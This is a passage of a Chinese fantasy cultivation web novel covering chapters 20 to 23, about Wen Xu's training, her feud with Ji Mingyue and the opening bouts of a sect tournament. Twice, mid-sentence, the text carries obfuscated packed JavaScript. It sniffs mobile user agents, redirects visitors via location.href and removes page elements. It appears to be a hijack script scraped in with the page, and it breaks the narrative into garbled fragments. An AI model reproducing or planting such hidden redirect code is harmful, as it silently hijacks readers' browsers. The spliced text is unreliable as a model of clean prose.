但混乱了没几天,新一任掌门就出现了,是季空山的二弟子季明月。 闻絮听到这个消息的时候并不震惊,算算日子,两人也该死了。 季明月对于二人的死没有过多解释,只是说二人一起练功,服用了过多带有毒性的药物逝世。 至于真正的死因,季明月是不可能公之于众的。 玉清山掌门和弟子因为蛊虫反噬而死,那玉清山的威望也将从此消失。 宗门大比即将开始,季明月作为新一任掌门,会带弟子一起来天照宗。 今日闻絮依旧去见了明舟,但她告诉明舟自己有事,今日的练习就先取消了。 漫天的白雪飘落而下,落满闻絮的肩头。 闻絮拿着黄色的纸钱,面无表情地点火,将纸钱扔进面前的铜盆里。 寒风呼啸而过,闻絮的手指冻得通红,手里的纸钱有半数都随风飘走。 明舟在雪地捡起闻絮的发饰,跟着她一路,看到闻絮在祭奠故人。 他想起闻絮说自己被师门赶了出来,大概就是玉清山吧。 如今掌门去世了,她再次纪念一下,也是应当的。 但下一秒,他就听到闻絮嘴里念着:季空山,季清澜,你二人今日死了,做鬼也能听到我的声音吧,你们已经不得好死了,那就祝你们永世不得超生吧。 黄纸燃尽,闻絮从地上抓了一把带着泥土的雪,盖灭了剩下的灰烬。 “看够了吗?” 闻絮转过身,明舟也从躲着的柱子后面出来。 “你听到我说的话了吗?” “听到了。” 20. 我不能死 “玉清山掌门季空山曾经是我的师父,大弟子季清澜是我的大师兄,如今他们两个都死了,我还这样咒他们,听到这些话你还喜欢我吗?” 明舟没说话,拿出手里握着的发坠。 他轻轻拂去闻絮发丝上的雪,把发坠插了上去,“他们一定对你不好,不然你不会说这样的话。” 两人一起练习了很多个夜晚,但闻絮都不怎么和明舟说话。 直到前两天,闻絮脸上才多几分笑容,和他说话时也会闲聊一些练习的趣事。 明舟逐渐发现闻絮是一个外冷内热的人,她和她的师父襄兰一样,嘴硬心软。 她似乎可以毫不留情说出冰冷伤人的话,但她的行为和她的话不一样。 闻絮拿出寒光,向明舟抬了抬下巴,“拿出你的剑,和我比一场,怎么样?就当是今日没教你招式的补偿了。” “好,我们只比试,不要伤了彼此。” 闻絮率先出招,握着剑的手腕灵活翻转,明舟肩膀灵活,后撤着步子闪躲。 闻絮依旧保持进攻的势头,每一剑都力量十足,但无形间明舟转守为攻,闻絮只能收起剑锋改为格挡。 闻絮的招式学得不错,但是还没有找到属于自己的剑意。 闻絮胳膊用力,向前一推,挣开明舟的攻击。 随手抓起一把雪扬在空中,明舟失神一秒,随即闻絮的剑已经架在了他的脖子上。 明舟放下剑,对闻絮笑着说:“我技不如人,你赢了。” 闻絮却稍显落寞,“是你赢了,你已经找到自己的剑意了吗?我拿着寒光这样的剑,却找不到属于自己的剑意。” “你很聪明,悟性也很强,至于剑意,你当初拿到寒光剑的时候心里想的是什么?那应当就是你追求的剑意。” 闻絮盯着手里的寒光,想起之前拔剑的情景,拔剑的时候她心里在想什么? 她在想:我不能死。 她经历了一次死亡来到了这个世界,再一次面临即将死亡的事实时,她想着的不是死,是活下去。 对于当时的她来讲,无论怎么做,都面临必死的结局。 无限接近死亡就是无限接近生存,是她自己挽救了自己。 向死而生。 “向死而生。”闻絮喃喃着这几个字,忽然间感觉困惑自己已久的心结打开。 闻絮难得地笑了,是那种发自内心的笑,她的颧骨随着笑容升起,眉毛笑得弯弯的。 “我明白了,谢谢你明舟。” 明舟沉浸在这笑容里,仿佛冬日不再寒冷,整个世界只有他们二人,只有闻絮对着自己在笑。 闻絮回到房间,拿出之前景原送她的水墨剑图,那上面的每一柄剑都不再是静态的剑。 闻絮放出自己的神识进入画中,所有剑都朝她齐齐刺来,她赤手空拳躲过一个又一个。 每一柄剑代表着一套剑法,闻絮数不清自己已经打落了多少柄剑。 云雾之中,一柄发着蓝光的剑隐匿在众剑之后,它的光芒从缝隙之中露出。 闻絮拨开眼前阻拦的剑,伸手去抓那一把。 “寒光,是你吗?” 伸手抓住剑柄的那一刻,剑身忽然急速下坠,连带着闻絮也一起坠落。 画中的云雾在万米高空,云雾之下是深不见底的黑暗。 闻絮松开了握着剑柄的手,张开双臂,任由自己在空中下落。 眼前的视线逐渐变得昏暗,那些剑也都不在了。 这里不是画中吗?感受也是这么真实吗? 闻絮艰难地扭过头,看向身下依旧不见底的深渊。 左脚一蹬,右手凝聚力量,一把剑闪现在她手中,“剑心不死,此身不灭。” 顷刻,闻絮身体立于剑身之上,剑带着闻絮从低空迅速飞起,冲破厚厚的云层,直达高空。 闻絮冲破云层的那一刻,她的神识也从水墨剑图中出来,她参透了,自此,她的剑不再只是一把没有魂的剑了。 这一夜的雪下得很沉很厚,雪中葬送了两个心怀不轨人肮脏的□□,迎来了闻絮灵魂新的降生。 景原看着第二天早上闻絮的剑法,经过长时间的练习,她的脚步不再虚浮,步子逐渐稳健。 最重要的是,闻絮的心性逐渐沉稳,景原能察觉到,在刚上山的时候,闻絮对所有人带着戒备,一举一动都带着戾气。 现在她对人处事都已不再是过去冷漠的风格,不论她过去经历了什么,只要人在他这里,就不会再变成往日的样子。 “闻絮啊,师父想让你也参加宗门大比,你愿意吗?” 闻絮停下手中的剑招,“师父,我才入门不到三月,于实力,我比不过师兄师姐,于年龄身份资历,也不如他们。若要闻絮参加,总觉得心中有愧。” 景原已经猜到了闻絮的答案,“你的天赋和实力远在你的师兄师姐之上,应当参加。宗门大比还有几天,你不用急着回答我,想清楚了再说。” 一旁的其他弟子听到二人的对话,有些上来恭喜,有些露出羡慕的眼神。 玉茵上前拉着闻絮的胳膊,“闻絮,你和我们一起参加吧,虽然你入门的日子短,但实力也不差,就当是见见世面了。” 展皓此时抱着闻絮的灵猫小白逗玩着,他抓着小白的爪子玩弄着,“你说你的主人去参加宗门大比吗?” 小白这些日子和展皓愈发熟悉,甚至超过了闻絮,一有时间就泡在展皓身边。 闻絮有好几次都想把小白送给展皓,但这是一人一猫就会别扭开,小白不愿意离开闻絮,展皓也会借口说小猫粘人,照护不来。 其实都是借口罢了,小白平日只有睡觉的时候才在闻絮这里,其他时候都在展皓身边。 闻絮收回看着小白的视线,还没有想好答案,“师姐,我再想想吧。” 闻絮没有留下吃午饭,宗门大比十日后就要开始了,已经陆陆续续有一些宗门赶往天照宗了,今天掌经殿比较忙,她还要回去帮襄兰处理事情。 玉茵看着闻絮匆匆的身影,急忙叮嘱道,“闻絮,记得晚上过来,今天是立冬,我做了羊肉汤。” “我知道了,师姐,天气冷,快回去吧。”玉茵穿了一件单衣追出来,身子在寒风中有些发抖。 得到闻絮的回答,她才放心地回去。 玉茵剑术也不差,只是相较于其他弟子而言差了点,她更擅长于厨艺。 她也不争不抢,师兄和师妹都如此厉害,不需要自己去做什么。 所有宗门到达天照宗的弟子都需要在掌经殿登记,最近掌经殿的事物比较繁杂,闻絮下午的时间基本都和襄兰和柏浩呆在一起。 闻絮回去的时候,襄兰面前铺满了各式的卷轴,她在为各个宗门选用登记的颜色。 闻絮坐在襄兰一旁的扁凳之上,欲言又止,默默地帮襄兰整理着。 襄兰将视线从卷轴上移开,看着沉默的闻絮,“今天练得怎么样,怎么回来一句话都不说?” 按照闻絮的性子,以往回来的时候总会和襄兰絮絮叨说一些,但今天忽然沉默了。 “师父,景原师父想让我参加宗门大比,你觉得我应该去吗?” 襄兰手上动作没停,“你不该问我,你自己怎么想的?” “我想去,师父,但是我的寒光剑出自玉清山,我是能代表天照宗参加宗门大比吗?” “你既然说过,过去的一切已经割舍,又何必在意这些,英雄不问出处,更何必说是武器。你若实在放下不下,不用寒光便是。” “好,师父,那我参加。” 自古参加宗门大比都是各类武器,没有限制,但还是用剑居多。 还没有一个相修可以参加宗门大比,因此闻絮这次是以景原弟子的名字参加。 闻絮知道景原和襄兰一直不和,担心襄兰心中不悦,这才来问她的意思。 襄兰虽然不喜景原,但对于闻絮的一切,她都表示理解与支持。 相修修炼不易,需十几年的时间才能小有收获,闻絮入门不久,只是略懂皮毛。 但作为剑修而言,她是一个不可多得的天才。 这是一次难得的崭露头角的机会,她不希望闻絮错过。 闻絮帮着襄兰整理完各色的卷轴,一起分门别类放在架子上。 襄兰嘱咐闻絮安心准备宗门大比,这几日的午后都不用来掌经殿上课了。 闻絮心领神会,谢过襄兰,回房间收拾了自己的衣物,回到了天竹峰。 景原门下大弟子安达外出游历,至今未归,不参加这次比试。 其余弟子以二弟子展皓为首,闻絮,玉茵等五人一起参加。 景原看重这次宗门大比,特地交代这几日要带几人闭关急修。 他特地叫闻絮到一旁,“以往你和明舟那小子一起练剑我就不管了,接下来我教的可是独门绝技,不许教给他,这次宗门大比的第一我们青竹峰当仁不让,懂吗?” 闻絮点点头,“我明白,师父。” 景原和玄天早就知道二人在一起练剑,但弟子之间互相交流切磋也没有坏处,一直没有制止。 这下到了景原和玄天较劲 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“生前何必久睡,死后自会长眠!” “起床练剑了!” “起床练剑了!” “起床练剑了!” 闻絮顶着睡得一团乱麻的头发晕乎乎得坐起来,景原就一直将门大开着,寒风吹着,她才略清醒了些。 玉茵第一个清醒过来,穿好自己已经踢飞的鞋子。 她又扶起闻絮,帮闻絮束起她的长发。 展皓四仰八叉地躺在地上,长手长脚舒展着,被景原赏了一脚之后慢慢爬起,头上还顶着一只白色小猫。 展皓眯着眼睛,把小白从头上抱下来,捂在怀里猛吸了一大口,发出满意的一声长叹。 然后小白迅速被闻絮抢走,他才不情不愿地起身。 另外两个弟子嘉文和嘉武兄弟二人占据着房间里的唯一一张床,两人长腿互相纠缠着,嘴里还在嘟囔着什么。 二人对于周围的动静没有一点察觉,和外界似有一层无形的屏障,将他们隔开来。 玉茵走到二人身边,用力推了推二人的肩膀,“三师兄,四师兄,醒醒,醒醒,别睡了,师父来了。” 二人纹丝不动。 闻絮把小白又放进了清醒的展皓手里,走到玉茵身边,示意自己来,“师兄们,开饭了!” 两人昏睡的身体强撑着起来,惺忪的睡眼微微睁开,还没适应周围的亮光,“什么?吃饭了?絮啊,今天早上吃什么?” 闻絮抿嘴偷笑,景原上前对着二人的脑袋一人弹了一下,“还想着吃,清早正是练剑的好时候,什么时候练好了什么时候再吃!” 景原最近教了几人一套昆仑剑法,身法独特,对于执剑之人要求比较高。 几人苦练三天,才勉强学了个大概。 “这一招出剑不够狠,不行!” “出手太慢,你还没出招,对手的剑已经架在你脖子上了!” “不行,脚下踩稳了再出手,一会儿你再把自己绊倒了!” “哎呀,你这是在干什么,我是让你练剑,不是你耍杂技的!” 竹林里五人分站一方,各自练习着剑法,景原坐在林中最高处俯瞰着几人,一一做出点评。 他手中拿着数片竹叶,看哪个弟子的姿势不标准,就用一片竹叶飞过去纠正他们的姿势。 玉茵在几人中算练得最慢的,被景原提醒了数次后有点灰心。 景原等上午的课结束后单独留下了玉茵,“玉茵,说说你为什么不好好练剑?” 玉茵还略有些不服气,“师父,你知道我没有这方面的天赋,再怎么练习都赶不上他们的。” 玉茵天赋不好,她因为做饭好吃,被景原破格收下。 虽然在入门时破了点规矩,但是每日的教习景原没有对她要求放松过。 景原:“我何时要求你赶上他们了?我要的是你的态度,你有没有想过以后若是遇到危险你该怎么办?” 玉茵低着头抠手,“没事啊,师兄他们都在,还有闻絮,他们都可以保护我的。” “错,大错特错,指望别人保护你永远是不可靠的。师父我将来会死,你的师兄们,包括比你小闻絮,也不是每一天都会在你的身边,我教你剑法,希望终有一天你可以独立起来,保护自己,而不是只会依赖别人。” 玉茵揪着手里的竹叶,“是,师父我知道错了,以后我一定勤加练习,再也不偷懒了。” “行了,你也累了,回去休息吧。” 21. 这是宗门大比,不是杀人大会 竹林外,闻絮一直等在原地,直到玉茵出来。 她没有问玉茵,景原为什么留下单独留下她,只是拉着她的手一起去吃饭。 玉茵吃饭的时候难得沉默了,但很快她就收拾好心情,下午练习的时候肉眼可见的认真起来。 师父说得对,她应该自己强大起来。 “不要走神,剑气会散!” 耳边又是景原的声音,“还有三天就是宗门大比了,今天好好练,剩下两天你们休息,养精蓄锐,到时候别让我失望。” “是,师父。” 五人收剑,齐齐向景原行礼。 景原摸摸胡子,“知道了就赶紧练!” 训练紧锣密鼓地进行着,直到竹林的光线慢慢消失,黑暗逐渐降临,景原才宣布密训结束。 玉茵累了一下午,双腿一软,直直坐在地上。 展皓伸直胳膊,发出一声连一声的喟叹,肩膀带着身体舒展,又剁了两下脚,缓解自己麻痹的双腿。 嘉文嘉武像是两个无情的练功机器,练完后拿着帕子在细细擦拭自己的剑。 闻絮身体有些酸痛,坐在椅子上捏了捏自己的胳膊。 密训结束,她今晚该回掌经殿和襄兰交代一声。 她扶起玉茵,“师姐,时间不早了,今晚我要先回掌经殿,晚饭就不用等我一起了。” 玉茵会心一笑,“知道啦,快去吧,今日你也累了,早点去早点休息。” 闻絮这几日一直呆在青竹峰,没有出去,不知道各大宗门已经全部上山。 刚出青竹峰没几步,闻絮听到了一个熟悉的声音,“闻絮。” 闻絮脚步顿住,身后传来的声音是季明月。 仅仅三个月,季明月变化很大,过去她的眼神看人总是带着蔑视,还有一股不服气。 现在她看着闻絮的时候眼神带着一丝平静,但闻絮还是感觉到了她眼中的凶狠和杀意。 “好久不见,山鸡变凤凰了,我们玉清山赶出去的弟子,天照宗居然抢着收下,天照宗是什么收破烂的地方吗?” 闻絮冷笑一声,还以为她能有什么转变,还是这样一副高高在上的样子。 “天照宗我来了不久,不是特别清楚。玉清山我住了好几年,倒是比较清楚,有明月师姐这样的垃圾,还有两位已故的师父和师兄,听说死得很惨,大概是不详吧。” 提到季空山和季清澜,季明月手中的扇子有些颤抖,但语气还是尽量平静,“你不用故意说这些话来激怒我。” 闻絮摆出一副无辜的表情,“我没有故意说啊,这就是实话,明月师姐听不得实话吗?” 季明月迈着步子走近两步,闻絮手里的剑身还在闪着光,表示着十足的威胁。 她靠在闻絮的身边,两人的衣物交缠,她的呼吸喷薄在闻絮耳边。 “师父和师兄的死,和你脱不了关系,对吧?” 她说完就要后撤。 闻絮一把拉着她的胳膊,死死盯着她的眼睛,然后季明月听到了她的答案。 “对,我早就知道他们会死,多行不义必自毙,他们受了反噬你应当很清楚吧。不过还得多亏你偷了夜明珠,不然我还得找理由下山。” 季明月瞳孔一震,“你利用我?” “话别说得那么多确定,毕竟师姐你去偷东西可不是我教的。” 闻絮说完,理了理季明月的衣领,“玉清山的新掌门,你的话说完了吗?我还有事,就不和你闲聊了。” 说道掌门的的时候,闻絮的语气加重了一些。 季明月眼眶发红,手里的银针蠢蠢欲动,闻絮走到一半忽然转身,“我要是你,就不在这里动手,毕竟这里是我的师门,你猜猜是我先死得快还是我师父的剑来得快?” 季明月收起银针,又摆出一个诡异的微笑,“那就宗门大比上见。” 闻絮没有再停留,直直地向前走去,雪地里只剩下她的一串脚印。 虽然刚刚和季明月放了狠话,但闻絮还是有点不放心。 在天照宗,季明月对于自己身边的人不敢正大光明地下手,但是不代表她不会下黑手。 掌经殿藏书众多,关于符咒一类的法术记载也很多。 闻絮回去的时候,襄兰已经休息了,她独自一人练习着法术。 襄兰曾经教过她一种“掌金咒”,这是掌经殿的独家法宝。 这种咒术威力极大,对于施咒之人法术要求也高,对其消耗也大。 但对于被施咒之人来说是极大的好事,这是一种保护咒。 将施咒之人的灵力引出,用红香木为引,沿着被施咒之人的掌经,徐徐布咒。 最后在被施咒之人的体内经脉,如同金光护体,万毒不侵。 即便受到很强的伤害,也不会危及生命,更像是一种续命法。 但也是有时间限制的,只能持续一年左右。 这是襄兰教给闻絮用来保命的,若真有一日闻絮不在她身边,命悬一线,掌金咒起码可以支撑一段日子。 闻絮再次复习了掌金咒的要点,她如今有比自己更想保护的人。 第二日襄兰起身,闻絮如实说了自己的想法,并向襄兰借用红香木。 襄兰拿来红香木放在闻絮手里,但却没有马上松开,“你想好了吗?” 闻絮恭敬地回答,“师父,我想好了,从前弟子无依无靠,如今弟子也有想要保护的人。施展此咒,不求奏效,只求心安。” 襄兰松开手,“万事要注意自己的身体。” “多谢师父。” 闻絮伏下身子,在襄兰面前磕了个头。 昨夜下了一夜的雪,今早太阳升起又消了一大半,地上只有薄薄一层雪了。 踏着雪水和朝阳,闻絮回到了青竹峰。 青竹峰没有了往日的喧嚣,累了几天,大家都还在睡梦之中。 闻絮放轻了脚步,来到玉茵房中。 玉茵安稳地躺在床上,被子胡乱搭在肚子上,腿和脚都露在外面。 听到开门的声音,她下意识向门口看了一眼,“闻絮啊,你回来了。” 玉茵打了个哈欠,微微支起身子,“你吃饭了吗?饿不饿,师姐一会儿给你做好吃的。” “师姐,我不饿。” 闻絮进门,但是远远站在门口,没有走到玉茵床前。 “愣着干什么,过来呀。” “师姐,我刚刚从外面来,身上带着冷气,怕冻着你。” 玉茵脸上略有不满,顾不得穿鞋,掀开被子起身,一把拉过闻絮,让她坐在床前。 玉茵的手暖烘烘的,不像闻絮的手,一直都是温冷的感觉。 她把闻絮的手塞在被子下,又把自己的手压在闻絮手上,“怎么样,暖和吧?” 闻絮生来如此,再加上寒光的冰属性,她的身体和常人有异,不论冬夏,一直如此。 玉茵也一直知道,但每次还是固执地帮闻絮暖手。 闻絮点点头,表明了自己的来意。 她没有说掌金咒的名字,什么都没有透露,只是说自己昨日学了一个新咒语,想实验一下。 既然施展这个咒语是为了保护她,能够保护就够了,不需要让她知道。 玉茵大方地拿出自己的手,“来吧,我相信你,我们闻絮这么聪明,一定可以成功的。” 闻絮学着襄兰教过的样子,一步一步施展着,“十二经脉,如川归渊……五行轮转,秽毒不沾。” 闻絮的咒语念得很小声,她也在时刻观察着玉茵的反应,确保她没有不舒服的情况。 玉茵表情很自然,在闻絮施展完之后还十分兴奋,“这个咒施展完之后居然还暖融融的,很舒服呀。” “那就好,这就对了。”闻絮绷着的脸放松开来,但她的脸色此刻却有些苍白。 玉茵也注意到了,“你快躺下休息,一定是这两天累着了,又没吃到好东西,我要去做饭了,你在这里睡着,千万不要动。” 玉茵裹着披风,把房间的门关严实,让闻絮在自己的床上躺着。 今天玉茵说要包饺子,等到宗门大比正式开始,她就没有时间自己做饭了。 闻絮躺在玉茵的床上,大概是刚刚的咒术消耗过多,她的嘴唇有些惨白。 闻絮用手臂撑起身子,只觉得眼前一黑,她强行坐起,调理自己的气息。 果然相修最是难做,自己能力还是太弱,只是施展了一个掌金咒,自己的身体就如此虚弱。 闻絮想着想着,眼睛不由自主地闭上,身子一软,侧躺在了柔软的床铺上。 等到玉茵端着刚刚煮好的饺子回来时,看到了闻絮睡得红扑扑的脸蛋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416411|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她想叫闻絮吃一点热乎的,但又看她睡得那么香,不忍心叫醒她。 于是玉茵把饺子放在厨房的火上保温,索性一起上了床,贴着闻絮一起睡。 景原的练习方法过于凶狠,几人累瘫了一直在休息。 景原今日不在青竹峰,他被玄天叫去和其他宗门的长老一起商量宗门大比具体的事宜。 除了天照宗,玉清山,一些小宗门,剩下最厉害的两大宗分别是无极宗和月灵宗。 玉清山和天照宗弟子多以剑修为主,无极宗弟子多以阵修为主,月灵宗弟子最为特殊,是魂修。他们只在夜间修行,以月光作为灵力来源,强大的神魂可化作各种类型的武器。 神魂强大的修士化作的武器威力巨大,不单具有武力杀伤值,还具有迷惑对手神魂的作用。 魂修最可怕的地方在于你不知道他神魂化作的武器是什么,从什么地方来。 月灵宗弟子不多,修行不易,能有魂修资质的更是不多,但凡能被派出参加宗门大比的都是宗门内数一数二厉害的弟子。 这次宗门大比一共一百二十八名弟子参加,两两对决,第一轮留下六十四名弟子。 接着继续两两对决,直到决出宗门大比的第一名。 最终,各位宗门掌门决定,每名参加的弟子都需要在明天一起抽签,抽出自己面临的对手。 抽签一共分为两轮,第一轮抽出自己的编号,刻在玉牌之上,在大比期间,以代号相称。 第二轮抽签,则是抽出自己第一轮的对手。 等到淘汰掉一半的人之后,剩余的六十四人继续抽签,防止有人在其中做手脚。 天照宗将宗门大比的位置选在了曜日峰,曜日峰是天照宗最大的一座山峰。 山峦地平,但是地势位置较高,在此比试,仿佛置身于脚下翻腾的云海之中。 各大掌门的位置设在曜日峰的侧峰,这个位置看得最为清楚,若有弟子有特殊情况,也是最容易赶到的位置。 几位掌门商量好所有的事宜,回去告知和自己的弟子。 景原回到青竹峰,闻絮几人已经起身,展皓正在带着几人洗剑。 洗剑也不是随便洗,取每日清晨的露水和柏树叶泡的水,用棉纱蘸取,洗去污秽。 “你们先慢慢洗,洗完之后,师父有话和你们说。” 几人刚刚起床,有些懒洋洋的,本来还在磨洋工,这下不敢懈怠了,但动作依旧认真,只是加快了速度。 剑可是剑修的宝贝,不能粗心大意。 景原简单讲了讲今天商量完的规则,“这些规则都不是最重要的,这些呢都没什么用,你们只需要赢就好了。” “还是要给你们讲一下两个宗门。无极宗呢,讲究的是阵法变换,可能你刚上台的时候就已经困在他的阵里了,我呢,就告诉你们一点,找到阵眼,一击即中。阵眼也很简单,要么是布阵之人的位置,那你就攻他下盘,他站不稳自然会暴露阵眼。要么是他随便选的……” 展皓面色一变,这话怎么听着有一种带着诡异的和谐。 他举手问,“师父,他随便选的阵眼我怎么知道在哪里呢?” 景原瞪了展皓一眼,“急什么?我还没说到那里呢。” 一个小插曲过去,景原接着讲,“他随便选的阵眼也很好办的,既然肉眼看不到,那就闭眼,用心来看。阵眼可以是阵中力量最强的地方,也可以是略微薄弱的地方,但记住,它一定和普通的位置不同。” “实在找不到,把他的阵捅烂就好了,你们的剑气应该是没有问题的。” 几人听得目瞪口呆,师父处理事情的方法还真是简单粗暴。 景原伸出手掌,合上嘉文嘉武张大的嘴巴,“别急着惊讶,还没讲完呢。” “这下一个呢,就是月灵宗,这个宗门呢,比较特殊,主要借助月光修行。他们这次派来的弟子都是魂修。魂修呢,也没有什么好怕的。” 嘉文举手,“师父,我知道了,还是用我们的剑气捅烂……” 嘉文的额头被景原敲了一下,“听听,听听,这说的是人话吗!” 嘉文撇了撇嘴,有些委屈,“怎么了,师父,我说得不对吗?” “不但不对,还大错特错,人家是魂修,你要捅烂什么?这是宗门大比,不是杀人大会。” 22. 他喜欢我 玉茵噗嗤一声笑出来,又收到嘉文的眼神威胁。 嘉文随即头上又挨了一下,是身边的嘉武,“不许恐吓师妹。” 嘉文驼起背,双手托腮,“我认输,我不说话了。” 景原等着他们安静下来继续讲,“魂修嘛,也简单,他们的神魂化作武器用来攻击,一般来说,他们的武器攻击是不如我们的。” “如果有,那就绕过武器攻击他们的本体。所以今天师父是来带你们选法宝的。” 这次到玉茵举手了,“师父,这和选武器有什么关系?” 景原冲半天没有说话的闻絮抬了下头,“絮啊,你来说。” 闻絮认真地看向玉茵,“我猜师父让我们选第二件法宝是来吸引注意的,对吗?” 景原满意地点点头。 “没错,你们随身携带第二件法宝,如果遇到难缠的魂修,假意使出第二件,然后攻击本体,懂吗?” 讲解结束之后,景原带着几人到了自己的库房之中,挑选自己的第二件法宝。 法宝是多,但绝对不能选扎眼的。 闻絮看着眼前琳琅满目的法宝,绕着房间走了一圈。 最后她的脚步停在一条蓝色的丝绫面前,“师父,我想要这个。” 其他人拿了铃铛,软剑,匕首之类的,“闻絮,你确定要这个吗?” “对,我要这个。” “确定,选好了可就不能反悔了。” “不后悔,我就要这个。” 闻絮拿走了丝绫,她把丝绫当做发带绑在自己的头发上,浑然一体,完全看不出来。 展皓拉着垂下来的丝带,笑了笑,“师妹,你这是选的发带吗?” 闻絮:“你猜?” 展皓摇摇头,“我可猜不到,师妹你就是个人精。对了,今晚我要和小白一起睡,一会儿我去你房间抱小白了哦。” 闻絮不答应也得答应,展皓最近有点毛病,不抱着小白和闻着小白的气息就睡不着。 闻絮只好把小白借给他几日。 “你们几个,不要在那里聊天了,好好想想我今天的话,早点休息知道吗?” “知道了,师父。” 几人挥着手,拿着自己刚刚选的新武器回自己的房间。 雪簌簌下了一夜,积厚的白雪压弯了屋外的树枝。 太阳刚刚升起的时候,所有弟子都已经在天照宗正殿集结完毕,进行抽签仪式。 现在进行的是第一轮,天照宗弟子站在一起先抽。 在这里,闻絮见到了多日未见的明舟,他好像瘦了些,侧脸的棱角愈发分明。 两人对视,闻絮向他点了点示意。 陆陆续续有人上去抽签,明舟抽到了十一号,完颜丰是二十九号。 闻絮也很快拿到自己的号码,一号。 然后是玉茵,嘉文,展皓,嘉武,分明是五十一,七十二,一百零八,九十七。 第一轮抽签完毕,在所有掌门的确认无误下,紧接着开启了第二轮的抽签,这次将会知道他们的对手。 这次从一号开始抽,闻絮抽到的是三十七号,随着两人的号码抽出,两人的玉牌也在大殿的舆图中被点亮,二人的名字也在上面显现。 闻絮扫了一眼,是一个小宗门的弟子,不太熟悉。 第二轮抽签结束得很快,除了玉茵的对手因病弃权,天照宗的弟子对上的大多都是一些小宗门的弟子。 闻絮作为第一号,和她的对手率先上了曜日峰。 清晨的曜日峰还带着微微的凉气,两人呼吸之间带出的白雾在空中很快凝结为霜。 景原正经地穿着门服,端坐在玄天的右边,这是他的新弟子第一次亮相,自己要好好看一看。 玄天注意到他认真的架势,调侃道:“怎么?担心你的弟子打不过人家?” 景原嗤笑一声,“别开玩笑了,那是我的弟子,我的弟子历来都是魁首。到时候要是闻絮和明舟对上,你还是先担心担心明舟吧。” 玄天没有再接话,他一直知道景原就是这个性子。 曜日峰平台之上,闻絮和对手已经站定,对手是一个强壮的男子。 二人正对着鞠躬作揖行礼,“承让了。” 侧峰上主持大比的弟子齐齐敲响锣声,男子的剑率先出鞘。 他的剑势来得凶猛,动作又急又狠,大有速战速决的意思。 但他的动作被闻絮看得一清二楚,闻絮的剑没出鞘,只是一一躲过。 闻絮连着躲了几个回合,在男人又一次飞身上前刺来的时候,闻絮单腿屈膝,侧身滑跪,迅速靠近他身前,用剑鞘给了他一击。 男人进攻的手一时收不回来,被闻絮这一击推出去好远,最后虽然稳住身子,但一只脚踏出界外。 “停,三十七号出界,一号胜!” 闻絮收回动作,等对手站稳,二人再次行礼,一起下了曜日峰。 景原得意地看着玄天,“怎么样,不错吧!闻絮可是连剑都没有出呢!” 玄天看着一旁的弟子记录着比赛情况,敷衍地回了一句,知道了知道了。 接下来从二号开始,一开始上去的人大多都速战速决,比赛进行得很快。 明舟在一旁站着,等待前面的一组结束。 “下一组,十一号对战一百一十二号。” 明舟从侧峰上去,路过一旁站着的闻絮,闻絮看他的步子停留,轻轻说了一声,“加油。” “我会的。” 二人简短的对话被展皓听到了,一说起八卦,他比谁都热情。 “闻絮啊,你们两个是什么关系啊?我可听完颜说你们两个经常一起练剑呢!” 闻絮摆出一个标准的微笑,“没什么关系,就是同门。” 展皓过去贴着闻絮的肩膀,偷偷靠近闻絮的耳边,“真的吗?你告诉师兄,我不会告诉其他人的。” “真的,如果说有什么特殊的,那大概他喜欢我吧。” 展皓像听到了什么大新闻似的,激动地扯过玉茵的袖子,“哎,玉茵你听到了没,咱们闻絮就是淡定啊,这么自然就说出来了。” 一旁的嘉文,嘉武闻言转过来,听到是这个消息又无声地扭过头去,看着台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最引起闻絮注意的是一个穿着红衣的小姑娘,她头高高地昂起,和峰内其他弟子的做派大相径庭。 月灵宗一向为人低调,一般弟子都身着月黄色的浅色衣袍,唯独她一人是鲜艳的红色。 “这个女子叫揽月瑶,是月灵宗掌门的小女儿。” 明舟看到闻絮独自一人站着,也走了过来。 闻絮了然,是掌门的小女儿,怪不得行事如此招摇,大概是掌门惯着的。 和当日玉清山上,季空山对于季明月的态度一样。 揽月瑶对上的是玉清山的一名男剑修,她浑身没有带一件武器,空手上了比试台。 男人看着眼前娇滴滴的女子,不由得哼笑,“阁下是不是太小看我们了,连武器都不带,怎么打?” 揽月瑶双手抱胸,直挺挺地站在台子的另一侧,“那就不劳道友你费心了,你站好就是,一会儿被我打出去了,记得可千万不要哭鼻子。” 23. 迷魂术 男人听着揽月瑶的话,也不再客气。 长剑出鞘,剑光闪烁,他的身体健硕有力,但是步伐却很轻盈。 他三步并作两步跳起,飞身向揽月瑶刺去。 揽月瑶并没有闪躲的动作,她闭眼凝眸,她的身体四周立马凝聚出一道圆形的光环,护在她周围。 她再次睁开眼睛,另一道黄色的光芒从她胸口的月光石发出,她双手合十,逐渐分开,凝聚成一条粗壮的鞭子。 那鞭子顺着她的视线甩出去,一把缠住了男人的剑,让他无法动弹。 男人在空中正在费力想办法拔出自己的剑,他想要向下劈砍,但忽的那鞭子松开剑身,然后消失了。 揽月瑶绕着台子又走了几步,男人再次握住剑,重新跟着她的方向追过去。 揽月瑶继续故技重施,男人被她的鞭子耍得团团转。 等到过了十几个回合,男人的体力逐渐耗尽,揽月瑶站在台子的边缘,男人用尽最后的力气扑过去,揽月瑶侧跨一步,男人随即扑空,拿着自己的佩剑冲了出去。 他的脚一步踏出边界,半边身子也随着一起冲出去。 “六十二号出界,十四号胜!” 随着锣声的响起,也宣告两人比试的结束,结果毫无疑问,是揽月瑶赢了。 但玉清山这边显然有些不服,几个弟子围着刚刚输掉的男人,聚在一起,挡住了揽月瑶的去路。 